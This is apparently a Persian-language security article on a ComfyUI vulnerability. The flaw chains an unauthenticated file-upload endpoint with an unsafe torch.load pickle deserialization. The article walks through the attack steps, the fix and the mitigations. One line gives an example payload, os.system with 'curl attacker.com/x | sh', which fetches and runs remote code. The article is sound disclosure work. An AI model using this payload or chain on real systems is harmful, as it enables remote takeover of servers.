اگر سرور ComfyUI خود را برای دسترسی از راه دور در شبکه باز گذاشتهاید، احتمالاً همین حالا در معرض کنترل کامل یک شخص ناشناس هستید. این آسیبپذیری که با کد CVE-2026-68771 شناسایی شده، به مهاجمان اجازه میدهد بدون داشتن هیچ رمز عبوری، دستورات سیستمی را روی سختافزار شما اجرا کنند و به کنترل کامل سرورهای ComfyUI دست یابند.
طبق گزارشهای فنی، این نقص امنیتی دارای امتیاز ۹.۸ از ۱۰ (بحرانی) در مقیاس CVSS 3.1 است. بردار حمله به صورت AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H تعریف شده است. این یعنی حمله از طریق شبکه، با پیچیدگی بسیار کم، بدون نیاز به هیچگونه امتیاز یا دسترسی قبلی و بدون نیاز به هیچ تعاملی از سوی کاربر قابل اجراست. ComfyUI یک رابط گرافیکی متنباز مبتنی بر گرافِ گرهها (node-graph) برای اجرای مدلهای انتشار (Diffusion Models) — مانند Stable Diffusion — است. به دلیل اینکه بسیاری از کاربران برای دسترسی از راه دور، نمونههای خود را در شبکه باز میگذارند، آسیبپذیریهایی که نیاز به احراز هویت صفر دارند، بهشدت خطرناک هستند.
همانطور که در تحلیلهای قبلی ما دربارهی امنیت مدلهای بازمتن اشاره کردیم، اعتماد کورکورانه به فایلهای ورودی در اکوسیستم هوش مصنوعی یک الگوی تکراری و خطرناک است. این موضوع مشابه روشهایی است که ابزار GitSpawn از طریق فایلهای تنظیمات مخرب برای نفوذ به سیستمهای AI استفاده میکند. این مشکل در ComfyUI تنها یک باگ ساده نیست، بلکه زنجیرهای از دو نقص مستقل است: یک درگاه آپلود فایل که هیچگونه اعتبارسنجی روی محتوا انجام نمیدهد و یک بارگذار مجموعه دادههای آموزشی که فایلها را به شکلی ناامن رمزگشایی (Deserialize) میکند. ترکیب این دو نقص، یک شکاف امنیتی بحرانی ایجاد کرده است.
تلهی رمزگشایی ناامن
بخش اول این زنجیره در گره LoadTrainingDataset قرار دارد که در مسیر comfy_extras/nodes_dataset.py واقع شده است. این گره طراحی شده تا دادههای آموزشی کدگذاری شده را از روی دیسک با استفاده از تابع torch.load() در کتابخانه PyTorch بارگذاری کند. بر اساس مستندات فنی، مشخص شد که این گره از پرچم امنیتی weights_only=True استفاده نمیکرد؛ در حالی که این پرچم اصلیترین سد دفاعی در برابر فایلهای مخرب پیکل (Pickle) است.
مکانیزم بارگذاری PyTorch در لایههای زیرین از ماژول pickle پایتون استفاده میکند. پیکل فقط دادهها را ذخیره نمیکند، بلکه دستورالعملهایی را به صورت یک جریان از کد عملیاتی (opcode stream) برای نحوه بازسازی اشیاء کدگذاری میکند. یک کد عملیاتی خاص به نام REDUCE وجود دارد که در هنگام باز کردن فایل (unpickling)، مستقیماً یک تاپل شامل (callable, args) را فراخوانی میکند. یک مهاجم میتواند یک فایل .pkl مخرب بسازد که حاوی یک کلاس Payload با متد __reduce__ باشد. برای مثال، یک پلود میتواند طوری طراحی شود که در لحظه باز شدن فایل، دستور os.system("curl attacker.com/x | sh") را اجرا کند.
وقتی سرور این فایل را «بارگذاری» میکند، صرفاً دادهها را نمیخواند، بلکه هر دستوری را که مهاجم در آن جاسازی کرده است، اجرا میکند. این امر عمل بارگذاری یک فایل ساده را به اجرای کد دلخواه (Arbitrary Code Execution) تبدیل میکند. برای کاهش این خطر، نسخههای جدید PyTorch از weights_only=True پشتیبانی میکنند که بازسازی اشیاء را فقط به انواع امن مانند تنسورها، اعداد و کانتینرهای پایه محدود میکند. در نسخههای PyTorch قدیمیتر از ۲.۶، این پرچم بهصورت پیشفرض روی False است و ComfyUI را آسیبپذیر میکند.

درِ باز برای آپلود فایل
نقص دوم یک درِ باز در منطق آپلود سرور است که در فایل server.py یافت میشود. درگاه /upload/image در اصل برای دریافت تصاویر طراحی شده است، اما هیچگونه اعتبارسنجی واقعی روی محتوا، پسوند یا نوع MIME فایل انجام نمیدهد. این درگاه حتی امضاهای فایل (magic bytes) را بررسی نمیکند تا مطمئن شود دادههای آپلود شده واقعاً یک تصویر هستند.
یک مهاجم میتواند هر فایلی — از جمله یک فایل .pkl مخرب — را با ارسال یک درخواست POST به /upload/image آپلود کند. با تنظیم پارامتر type روی مقدار output، مهاجم میتواند فایل را به دایرکتوری خروجی ComfyUI هدایت کند. همچنین پارامتر subfolder کاملاً تحت کنترل مهاجم است و اجازه میدهد فایل مخرب در پوشه خاصی قرار گیرد تا مهاجم بعداً بتواند به آن ارجاع دهد.
از آنجا که این درگاه فاقد میانافزار (middleware) احراز هویت است، هر کسی که دسترسی شبکهای به نمونه ComfyUI داشته باشد، میتواند بایتهای دلخواه را روی دیسک سرور بنویسد. مهاجم بهسادگی نام فایل را با پیشوند _shard و پسوند .pkl (مثلاً shard_0001.pkl) انتخاب میکند تا با الگویی که گره LoadTrainingDataset برای اسکن جستوجو میکند، مطابقت داشته باشد. تنها بررسی امنیتی موجود، مقایسه os.path.commonpath است که از پیمایش مسیر (Path Traversal) برای نوشتن در فایلهای سیستمی (مانند /etc/passwd) جلوگیری میکند، اما هیچ کاری برای متوقف کردن آپلود دادههای مخرب انجام نمیدهد. این نوع ضعف در مدیریت مسیرها یادآور آسیبپذیریهای گسترده Path Traversal در سرورهای MCP است که بخش بزرگی از پیادهسازیهای آن را تحت تأثیر قرار داده است.

زنجیره حمله در عمل
به نقل از تحلیلهای فنی، جریان کامل حمله مراحل دقیقی را دنبال میکند:
- ساخت Payload: مهاجم یک فایل پیکل میسازد که حاوی یک شیء
__reduce__است تا یک دستور سیستمی را فعال کند. - آپلود: مهاجم این پلود را به
/upload/imageبا تنظیمtype=outputو یکsubfolderانتخابی (مثلاًmy_evil_dataset) ارسال میکند. هیچ رمز عبور یا احراز هویتی لازم نیست. - جایگذاری: سرور فایل را بدون اعتبارسنجی در مسیر
output/my_evil_dataset/shard_0001.pklمینویسد. - فعالسازی: مهاجم یک گردشکار (Workflow) را از طریق درگاه
/promptارسال میکند. این گردشکار شامل یک گرهLoadTrainingDatasetاست که پارامترfolder_nameآن رویmy_evil_datasetتنظیم شده است. - اجرا: گره مذکور تابع
os.listdir()را روی دایرکتوری اجرا میکند، فایلهایshard_*.pklرا مییابد وtorch.load(f)را بدون پرچم امنیتی فراخوانی میکند. کد عملیاتیREDUCEفعال شده و کد مخرب با امتیازات پردازش ComfyUI اجرا میشود.
راهکار رسمی و اصلاحیه
توسعهدهندگان مسیر RCE را در PR #14543 (کامیت 94ee49b) برطرف کردند. این اصلاحیه یک تغییر تکخطی و جراحیشده در فایل comfy_extras/nodes_dataset.py است:
- کد قدیمی:
shard_data = torch.load(f) - کد جدید:
shard_data = torch.load(f, weights_only=True)
این تغییر تضمین میکند که فقط انواع امن — مانند تنسورها و کانتینرهای پایه — بازسازی شوند و اشیاء دلخواه پایتون بهطور کامل رد شوند. طبق توضیحات PR، این تنها فراخوانی torch.load() در کل کد بود که پرچم weights_only=True را کم داشت؛ موارد دیگر در comfy/utils.py و comfy/sd1_clip.py از قبل ایمن شده بودند.
بسیار مهم است که بدانید این وصله فقط لینک «اجرای کد» را قطع میکند. آسیبپذیری آپلود همچنان باقی است؛ درگاه /upload/image هنوز اجازه نوشتن فایلهای دلخواه در دایرکتوری خروجی را میدهد. با این حال، این فایلها دیگر نمیتوانند از طریق گره آموزشی به اجرای کد تبدیل شوند. در واقع، این اصلاحیه لینک رمزگشایی را میبندد، نه نقطه ورود را.
این آسیبپذیری یک موضوع تکراری در ابزارهای هوش مصنوعی را برجسته میکند: خطر برخورد با وزنهای مدل و فایلهای مجموعه داده به عنوان «دادههای غیرفعال». در اکوسیستم پایتون، بارگذاری یک فایل پیکل اغلب معادل اجرای یک برنامه است. این ریسک مشابه حفره امنیتی Claude Code است که در آن مخازن مخرب میتوانستند از محیط ایزوله (Sandbox) فرار کرده و به سیستم میزبان دسترسی یابند.
برای کاربرانی که از نسخههای v0.23.0 یا قدیمیتر استفاده میکنند، بهروزرسانی به آخرین نسخه برای بستن این مسیر RCE الزامی است. اگر نمیتوانید فوراً بهروزرسانی کنید، تنها راه امن این است که مطمئن شوید نمونه شما بدون یک پروکسی معکوس (Reverse Proxy) که احراز هویت سختگیرانه ارائه میدهد، در معرض اینترنت عمومی قرار ندارد.
گام بعدی شما
- فوراً ComfyUI خود را به آخرین نسخه بهروزرسانی کنید تا حفره RCE بسته شود.
- اگر از محیطهای ابری استفاده میکنید، دسترسی به پورتهای ComfyUI را فقط به IPهای مورد اعتماد محدود کنید.
- برای امنیت بیشتر، از یک لایه احراز هویت (مانند Nginx یا Apache) در جلوی سرور خود استفاده کنید.
اما داستان امنیت در مدلهای مولد به همینجا ختم نمیشود؛ اثرات مسمومسازی دادهها در مدلهای بازمتن را در گزارش بعدی بررسی خواهیم کرد.




گفتگو